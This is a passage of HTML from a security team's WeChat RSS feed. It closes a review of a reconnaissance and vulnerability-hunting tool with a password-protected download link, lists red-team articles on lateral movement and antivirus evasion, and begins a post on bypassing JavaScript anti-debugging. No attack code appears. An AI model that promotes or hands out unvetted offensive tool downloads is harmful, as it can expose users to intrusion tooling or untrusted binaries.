0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;flex-direction: unset;float: unset;height: auto;justify-content: unset;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="display: none;"></span><span style="font-size: 18px;color: rgb(34, 34, 34);line-height: 1.8em;letter-spacing: 0em;padding-top: 0px;padding-bottom: 0px;padding-left: 10px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: solid;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 5px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(248, 57, 41);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">小结</span></span><span style="display: none;"></span></h2><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">“转子女神” 作为一款聚焦信息收集与漏洞挖掘的网络安全工具，展现出较强的实用性与技术特色。其核心优势在于将智能路径勘探与深度数据分析相结合，通过精准的正则匹配逻辑高效提取网页敏感路径与接口，动态拼接变量的能力显著拓宽了信息收集的维度；对 JS 文件的深度解析功能，配合 AI 风险评估机制，能精准定位隐藏 API 及潜在漏洞，为漏洞挖掘提供明确方向；批量扫描与自动化信息抓取特性，大幅提升了处理海量目标的效率，而灵活的配置选项也使其能适应多样的网络场景。整体而言，工具在简化流程、提升效率上表现突出，为安全从业者提供了切实助力，</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;flex-direction: unset;float: unset;height: auto;justify-content: unset;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="display: none;"></span><span style="font-size: 18px;color: rgb(34, 34, 34);line-height: 1.8em;letter-spacing: 0em;padding-top: 0px;padding-bottom: 0px;padding-left: 10px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: solid;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 5px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(248, 57, 41);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">下载</span></span><span style="display: none;"></span></h2><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">转子女神下载地址:<a href="https://xsck.lanzouo.com/b00uz89l0f" target="_blank">https://xsck.lanzouo.com/b00uz89l0f</a>   密码:d901</span></p><p><span leaf=""><br/></span></p></div><div data-mid="" mpa-from-tpl="t" style="margin-bottom: 15px;max-width: 100%;font-size: 16px;white-space: normal;display: flex;justify-content: flex-start;align-items: center;flex-direction: column;z-index: 2;overflow-wrap: break-word !important;box-sizing: border-box !important;"><div data-mid="" mpa-from-tpl="t" style="padding: 2px;max-width: 100%;background: rgb(255, 255, 255);border-radius: 13px;border-width: 1px;border-style: solid;border-color: rgb(45, 133, 224);overflow-wrap: break-word !important;box-sizing: border-box !important;"><div data-mid="" mpa-from-tpl="t" style="padding-right: 24px;padding-left: 24px;max-width: 100%;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;border-radius: 11px;border-width: 1px;border-style: dotted;border-color: rgb(45, 133, 224);text-align: center;overflow-wrap: break-word !important;box-sizing: border-box !important;"><p data-mid="" style="max-width: 100%;font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(45, 133, 224);line-height: 22px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf="">往期推荐</span></p></div></div></div><div data-mid="" mpa-from-tpl="t" style="margin-bottom: 0px;max-width: 100%;font-size: 16px;white-space: normal;display: flex;justify-content: flex-start;align-items: center;flex-direction: column;overflow-wrap: break-word !important;box-sizing: border-box !important;"><div data-mid="" mpa-from-tpl="t" style="max-width: 100%;width: 474px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><div data-mid="" mpa-from-tpl="t" style="padding: 14px 8px 2px;max-width: 100%;width: 474px;background: rgb(255, 255, 255);border-radius: 5px;border-width: 1px;border-style: solid;border-color: rgb(74, 138, 218);overflow-wrap: break-word !important;box-sizing: border-box !important;"><div data-mid="" mpa-from-tpl="t" style="padding: 3px;max-width: 100%;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;width: 456px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><div data-mid="" mpa-from-tpl="t" style="padding-right: 12px;padding-left: 12px;max-width: 100%;width: 450px;text-align: center;overflow-wrap: break-word !important;box-sizing: border-box !important;"><p data-mid="" style="margin-bottom: 12px;max-width: 100%;border-bottom: 1px dotted rgb(74, 138, 218);font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(65, 84, 41);line-height: 20px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf=""><a class="normal_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247516589&amp;idx=1&amp;sn=107da3b45e88255f240504d033ebde7f&amp;chksm=ce5da3ccf92a2adab0511bd798570d967cd4b0b7d7528f2f17163f5ed77e4dd7a02ac17c39d7&amp;scene=21#wechat_redirect" textvalue="TscanPlus-一款红队自动化‍工具" data-itemshowtype="0" linktype="text" data-linktype="2">TscanPlus-一款红队自动化工具</a></span><span leaf=""><br/></span></p><p data-mid="" style="margin-bottom: 12px;max-width: 100%;border-bottom: 1px dotted rgb(74, 138, 218);font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(65, 84, 41);line-height: 20px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf=""><a class="normal_text_link" target="_blank" style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;" href="http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247499902&amp;idx=1&amp;sn=59cba8d980b4ecb0deefff99edaabd4d&amp;chksm=ce5de21ff92a6b09a8972a0144557b0099e443aa8e018b17151c816fc7f08f3615ecb22617fc&amp;scene=21#wechat_redirect" textvalue="潮影在线免杀平台上线了" data-itemshowtype="0" linktype="text" data-linktype="2">潮影在线免杀平台上线了</a></span><span leaf=""><br/></span></p><p data-mid="" style="margin-bottom: 12px;max-width: 100%;border-bottom: 1px dotted rgb(74, 138, 218);font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(65, 84, 41);line-height: 20px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf=""><a class="normal_text_link" target="_blank" style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;" href="http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247498466&amp;idx=1&amp;sn=085c15679436dedb06a179ca8d47951a&amp;chksm=ce5dd883f92a5195ef74ac517741f6d3da0da40b5501d72016e52cb70344904bb85b8aef65ba&amp;scene=21#wechat_redirect" textvalue="自动化渗透测试工具开发实践" data-itemshowtype="0" linktype="text" data-linktype="2">自动化渗透测试工具开发实践</a></span><span leaf=""><br/></span></p><p data-mid="" style="margin-bottom: 12px;max-width: 100%;border-bottom: 1px dotted rgb(74, 138, 218);font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(65, 84, 41);line-height: 20px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf=""><a class="normal_text_link" target="_blank" style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;" href="http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247492640&amp;idx=1&amp;sn=43b1991dc5628eab322923083fde8d70&amp;chksm=ce5dc641f92a4f57ffb18e2977644b1f977fcc5e0eccdf10956d3ae4ce70dc95024500631e89&amp;scene=21#wechat_redirect" textvalue="【红蓝对抗】利用CS进行内网横向" data-itemshowtype="0" linktype="text" data-linktype="2">【红蓝对抗】利用CS进行内网横向</a></span><span leaf=""><br/></span></p><p data-mid="" style="margin-bottom: 12px;max-width: 100%;border-bottom: 1px dotted rgb(74, 138, 218);font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(65, 84, 41);line-height: 20px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf=""><a class="normal_text_link" target="_blank" style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;" href="http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247498344&amp;idx=1&amp;sn=3679330363ff6890166b09f6a502f769&amp;chksm=ce5dd809f92a511f6066fcbb12fb5c1dc8c2642e4e2690dad64d76cc6f9247eae356d16f5810&amp;scene=21#wechat_redirect" textvalue="一个Go版(更强大)的TideFinger" data-itemshowtype="0" linktype="text" data-linktype="2">一个Go版(更强大)的TideFinger</a></span><span leaf=""><br/></span></p><p data-mid="" style="margin-bottom: 12px;max-width: 100%;border-bottom: 1px dotted rgb(74, 138, 218);font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(65, 84, 41);line-height: 20px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf=""><a class="normal_text_link" target="_blank" style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;" href="http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247499823&amp;idx=1&amp;sn=065ffeae6bd02fff922cfb12c5a0f4df&amp;chksm=ce5de24ef92a6b58f709260b691e6b36e4a53aac00d3022946302b8e638696ed55c70e13e16f&amp;scene=21#wechat_redirect" textvalue="SRC资产导航监测平台Tsrc上线了" data-itemshowtype="0" linktype="text" data-linktype="2">SRC资产导航监测平台Tsrc上线了</a></span></p><p data-mid="" style="margin-bottom: 12px;max-width: 100%;border-bottom: 1px dotted rgb(74, 138, 218);font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(65, 84, 41);line-height: 20px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf=""><a class="normal_text_link" target="_blank" style="max-width: 100%;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;font-size: 14px;text-align: center;white-space: normal;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;box-sizing: border-box !important;" href="http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247506056&amp;idx=1&amp;sn=ad6dd23f58f5fd8ce899a1e292f5b685&amp;chksm=ce5dfae9f92a73ff4f14c812436cb5bfecb29db04eada11c409e946d5338c82a92bcaa425736&amp;scene=21#wechat_redirect" textvalue="新潮信息-Tide安全团队2022年度总结" data-itemshowtype="0" linktype="text" data-linktype="2">新潮信息-Tide安全团队2022年度总结</a></span></p><p data-mid="" style="margin-bottom: 12px;max-width: 100%;border-bottom: 1px dotted rgb(74, 138, 218);font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(65, 84, 41);line-height: 20px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf=""><a class="normal_text_link" target="_blank" style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;" href="http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247498965&amp;idx=1&amp;sn=655548831da6808a020ad07294a92e60&amp;chksm=ce5ddeb4f92a57a283d5692c246e54655319ab0d09f6403e354300a2777cda6ae4c787631ab3&amp;scene=21#wechat_redirect" textvalue="记一次实战攻防(打点-Edr-内网-横向-Vcenter)" data-itemshowtype="0" linktype="text" data-linktype="2">记一次实战攻防(打点-Edr-内网-横向-Vcenter)</a></span></p></div></div></div></div></div><div draggable="false" style="margin-bottom: 0px;max-width: 100%;white-space: normal;overflow: hidden;color: rgb(0, 0, 0);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;text-align: start;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><div style="max-width: 100%;display: flex;justify-content: center;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><p style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><span leaf=""><img style="width: 37px;display: block;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;" class="rich_pages wxw-img" data-ratio="1.0810810810810811" data-type="gif" data-w="37" src="https://wechat2rss.xlab.app/img-proxy/?k=a96b63a4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FrTicZ9Hibb6RWbGNtVfIZbm2rmGO4hQDzQUrLN62vEGlA4fPmib5utUAp9gbQicb6FC82RjsVI5vx7wEc9yAAiaFEoQ%2F640%3Fwx_fmt%3Dgif"/></span></p></div></div><div style="margin-bottom: 0px;max-width: 100%;box-sizing: border-box;white-space: normal;font-size: 16px;overflow-wrap: break-word !important;"><div powered-by="xiumi.us" style="max-width: 100%;box-sizing: border-box;text-align: center;justify-content: center;display: flex;flex-flow: row nowrap;overflow-wrap: break-word !important;"><div style="max-width: 100%;box-sizing: border-box;display: inline-block;width: 520.195px;vertical-align: top;align-self: flex-start;flex: 0 0 auto;overflow-wrap: break-word !important;"><div powered-by="xiumi.us" style="max-width: 100%;box-sizing: border-box;justify-content: center;display: flex;flex-flow: row nowrap;overflow-wrap: break-word !important;"><div style="max-width: 100%;box-sizing: border-box;display: inline-block;vertical-align: top;width: 104.039px;align-self: flex-start;flex: 0 0 auto;overflow-wrap: break-word !important;"><div powered-by="xiumi.us" style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><div style="max-width: 100%;box-sizing: border-box;width: 2em;display: inline-block;vertical-align: middle;overflow-wrap: break-word !important;"><div style="max-width: 100%;box-sizing: border-box;border-width: 1px;border-style: dashed;border-color: rgb(138, 189, 143);width: 2em;height: 2em;float: left;line-height: 2em;font-size: 21px;overflow-wrap: break-word !important;"><p style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span leaf="">E</span></p></div><div style="max-width: 100%;box-sizing: border-box;width: 2em;overflow-wrap: break-word !important;"><p style="margin-right: auto;margin-bottom: -1em;margin-left: auto;max-width: 100%;box-sizing: border-box;width: 0px;height: 2em;border-left: 1px solid rgb(230, 230, 230);border-top-color: rgb(230, 230, 230);border-right-color: rgb(230, 230, 230);border-bottom-color: rgb(230, 230, 230);overflow-wrap: break-word !important;"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></p><p style="max-width: 100%;box-sizing: border-box;width: 2em;height: 0px;border-top: 1px solid rgb(230, 230, 230);border-right-color: rgb(230, 230, 230);border-bottom-color: rgb(230, 230, 230);border-left-color: rgb(230, 230, 230);overflow-wrap: break-word !important;"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></p></div><p style="max-width: 100%;box-sizing: border-box;clear: both;overflow-wrap: break-word !important;"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></p></div></div></div><div style="max-width: 100%;box-sizing: border-box;display: inline-block;vertical-align: top;width: 104.039px;align-self: flex-start;flex: 0 0 auto;overflow-wrap: break-word !important;"><div powered-by="xiumi.us" style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><div style="max-width: 100%;box-sizing: border-box;width: 2em;display: inline-block;vertical-align: middle;overflow-wrap: break-word !important;"><div style="max-width: 100%;box-sizing: border-box;border-width: 1px;border-style: dashed;border-color: rgb(138, 189, 143);width: 2em;height: 2em;float: left;line-height: 2em;font-size: 21px;overflow-wrap: break-word !important;"><p style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span leaf="">N</span></p></div><div style="max-width: 100%;box-sizing: border-box;width: 2em;overflow-wrap: break-word !important;"><p style="margin-right: auto;margin-bottom: -1em;margin-left: auto;max-width: 100%;box-sizing: border-box;width: 0px;height: 2em;border-left: 1px solid rgb(230, 230, 230);border-top-color: rgb(230, 230, 230);border-right-color: rgb(230, 230, 230);border-bottom-color: rgb(230, 230, 230);overflow-wrap: break-word !important;"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></p><p style="max-width: 100%;box-sizing: border-box;width: 2em;height: 0px;border-top: 1px solid rgb(230, 230, 230);border-right-color: rgb(230, 230, 230);border-bottom-color: rgb(230, 230, 230);border-left-color: rgb(230, 230, 230);overflow-wrap: break-word !important;"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></p></div><p style="max-width: 100%;box-sizing: border-box;clear: both;overflow-wrap: break-word !important;"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></p></div></div></div><div style="max-width: 100%;box-sizing: border-box;display: inline-block;vertical-align: top;width: 104.039px;align-self: flex-start;flex: 0 0 auto;overflow-wrap: break-word !important;"><div powered-by="xiumi.us" style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><div style="max-width: 100%;box-sizing: border-box;width: 2em;display: inline-block;vertical-align: middle;overflow-wrap: break-word !important;"><div style="max-width: 100%;box-sizing: border-box;border-width: 1px;border-style: dashed;border-color: rgb(138, 189, 143);width: 2em;height: 2em;float: left;line-height: 2em;font-size: 21px;overflow-wrap: break-word !important;"><p style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span leaf="">D</span></p></div><div style="max-width: 100%;box-sizing: border-box;width: 2em;overflow-wrap: break-word !important;"><p style="margin-right: auto;margin-bottom: -1em;margin-left: auto;max-width: 100%;box-sizing: border-box;width: 0px;height: 2em;border-left: 1px solid rgb(230, 230, 230);border-top-color: rgb(230, 230, 230);border-right-color: rgb(230, 230, 230);border-bottom-color: rgb(230, 230, 230);overflow-wrap: break-word !important;"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></p></div></div></div></div></div></div></div><div draggable="false" data-tools-id="47164" style="max-width: 100%;overflow: hidden;color: rgb(0, 0, 0);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: start;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><div style="max-width: 100%;display: flex;flex-direction: column;align-items: center;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><p style="padding: 10px 15px;max-width: 100%;border-width: 1px;border-style: solid;border-color: rgb(1, 0, 70);background-color: rgb(199, 221, 253);color: rgb(0, 0, 70);font-size: 14px;line-height: 14px;font-family: 思源黑体;letter-spacing: 1px;transform: rotate(0deg);overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><strong style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf="">Tide团队产品及服务</span></strong></p><div style="margin-top: -15px;padding: 35px 15px 20px;max-width: 100%;border-width: 1px;border-style: solid;border-color: rgb(1, 0, 70);overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><p style="max-width: 100%;color: rgb(0, 0, 70);font-size: 14px;line-height: 1.75;font-family: 思源黑体;letter-spacing: 1px;text-align: justify;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><strong style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf="">团队自研平台</span></strong><span leaf="">：潮汐在线指纹识别平台 | 潮听漏洞情报平台 | 潮巡资产管理与威胁监测平台 | 潮汐网络空间资产测绘 | 潮声漏洞检测平台 | 在线免杀平台 | CTF练习平台 | 物联网固件检测平台 | SRC资产监控平台  | ......</span></p><p style="max-width: 100%;color: rgb(0, 0, 70);font-size: 14px;line-height: 1.75;font-family: 思源黑体;letter-spacing: 1px;text-align: justify;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><strong style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf="">技术分享方向</span></strong><span leaf="">:Web安全 | 红蓝对抗 | 移动安全 | 应急响应 | 工控安全 | 物联网安全 | 密码学 | 人工智能 | ctf 等方面的沟通及分享</span></p><p style="max-width: 100%;color: rgb(0, 0, 70);font-size: 14px;line-height: 1.75;font-family: 思源黑体;letter-spacing: 1px;text-align: justify;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><strong style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf="">团队知识wiki</span></strong><span leaf="">：红蓝对抗 | 漏洞武器库 | 远控免杀 | 移动安全 | 物联网安全 | 代码审计 | CTF | 工控安全 | 应急响应 | 人工智能 | 密码学 | CobaltStrike | 安全测试用例 | ......</span></p><p style="max-width: 100%;color: rgb(0, 0, 70);font-size: 14px;line-height: 1.75;font-family: 思源黑体;letter-spacing: 1px;text-align: justify;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><strong style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf="">团队网盘资料</span></strong><span leaf="">：安全法律法规 | 安全认证资料 | 代码审计 | 渗透安全工具 | 工控安全工具 | 移动安全工具 | 物联网安全 | 其它安全文库合辑  | ......</span></p></div></div></div></div><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247521456">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=d991aa65&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg2NTA4OTI5NA%3D%3D%26mid%3D2247521456%26idx%3D1%26sn%3D205c24044197361741632e9f3e4f57e4">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sat, 12 Jul 2025 12:01:00 +0800</pubDate>
    </item>
    <item>
      <title>JS逆向-绕过无限debugger</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247521435&amp;idx=1&amp;sn=34523754451f3768d20e19b6cbec4cc0</link>
      <description>Debugger是JavaScript中定义的一个专门用于断点调试的关键字，只要遇到它，JavaScript的执行就会在此处中断，进入调试模式。有了Debugger这个关键字，我们就可以非常方便的对JavaScript代码进行调试</description>
      <content:encoded><![CDATA[<p>
原创 <span>oh1inge</span> <span>2025-07-11 17:30</span> <span style="display: inline-block;">山东</span>
</p>

<p>Debugger是JavaScript中定义的一个专门用于断点调试的关键字，只要遇到它，JavaScript的执行就会在此处中断，进入调试模式。有了Debugger这个关键字，我们就可以非常方便的对JavaScript代码进行调试</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=7e028520&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FrTicZ9Hibb6RUC00e0HO0icib8r6tnpAdpd5qun4YcsvGLwwmKpbiala1m3bNofUTZTKn7ibdwdiaicaNvVvBic7Wk7k8AA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<div data-mpa-template="t" mpa-from-tpl="t" style="margin-bottom: 0px;"><div data-mid="" mpa-from-tpl="t" style="padding-right: 10px;padding-left: 10px;width: 578px;"><div data-mid="" mpa-from-tpl="t" style="width: 558px;display: flex;flex-direction: column;"><div data-mpa-template="t" mpa-from-tpl="t" data-mpa-powered-by="yiban.io" style="margin-bottom: 0px;display: flex;justify-content: center;"><div data-mid="" mpa-from-tpl="t" style="padding-right: 10px;padding-left: 10px;width: 578px;"><div data-mid="" mpa-from-tpl="t" style="width: 558px;display: flex;flex-direction: column;"><p data-mid="" mpa-from-tpl="t" style="margin-bottom: -11px;margin-left: -7px;width: 21px;height: 18px;display: flex;justify-content: center;align-items: center;align-self: flex-start;z-index: 1;"><span leaf=""><img data-w="42" class="rich_pages wxw-img" data-ratio="0.8571428571428571" src="https://wechat2rss.xlab.app/img-proxy/?k=992d3ad3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FDuibU3GqmxVmRsdItbBVRKegNHicHQvAHDdZsGpLVU7touSU1AU1twHTfRjG3Vu5aUh0RnPPllfVUhs4qdWF5QYQ%2F640%3Fwx_fmt%3Dpng"/></span></p><div data-mid="" mpa-from-tpl="t" style="width: 558px;background: rgb(255, 145, 1);transform: rotate(-3deg) scale(0.9);"><div data-mid="" mpa-from-tpl="t" style="width: 558px;transform: rotate(3deg) scale(1.1);background: rgb(255, 252, 227);border-width: 1px;border-style: solid;border-color: rgb(246, 128, 31);"><div data-mid="" mpa-from-tpl="t" style="padding: 14px 11px 13px 12px;width: 556px;text-align: left;"><p data-mid="" mpa-is-content="t" style="font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(62, 62, 62);line-height: 26px;word-break: break-word;"><span leaf="">声明：Tide安全团队原创文章，转载请声明出处！文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用，任何人不得将其用于非法用途给予盈利等目的，否则后果自行承担！</span></p></div></div></div><p data-mid="" mpa-from-tpl="t" style="margin-top: -45px;margin-right: -5px;margin-bottom: 8px;width: 46px;height: 42px;display: flex;justify-content: center;align-items: center;align-self: flex-end;z-index: 1;"><span leaf=""><img data-w="94" class="rich_pages wxw-img" data-ratio="0.8936170212765957" src="https://wechat2rss.xlab.app/img-proxy/?k=94bb99ce&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9zYJrD2VibHmqgf4y9Bqh9nDynW5fHvgbgkSGAfRboFPuCGjVoC3qMl6wlFucsx3Y3jt4gibQgZ6LxpoozE0Tdow%2F640%3Fwx_fmt%3Dpng"/></span></p></div></div></div><div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 10px;padding-right: 10px;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: linear-gradient(90deg, rgba(50, 0, 0, 0.03) 0%, rgba(255, 255, 255, 0) 11.49%), linear-gradient(360deg, rgba(50, 0, 0, 0.04) 0%, rgba(255, 255, 255, 0) 12.16%);background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: repeat, repeat;background-size: 20px 20px, 20px 20px;width: auto;font-family: Optima, PingFangSC-light, serif;font-size: 16px;color: rgb(0, 0, 0);line-height: 1.5em;word-spacing: 0em;letter-spacing: 0em;word-break: break-all;overflow-wrap: break-word;text-align: left;" data-pm-slice="0 0 []"><h2 data-tool="mdnice编辑器" style="border-bottom-color: rgb(64, 184, 250);margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: solid;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 4px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;flex-direction: unset;float: 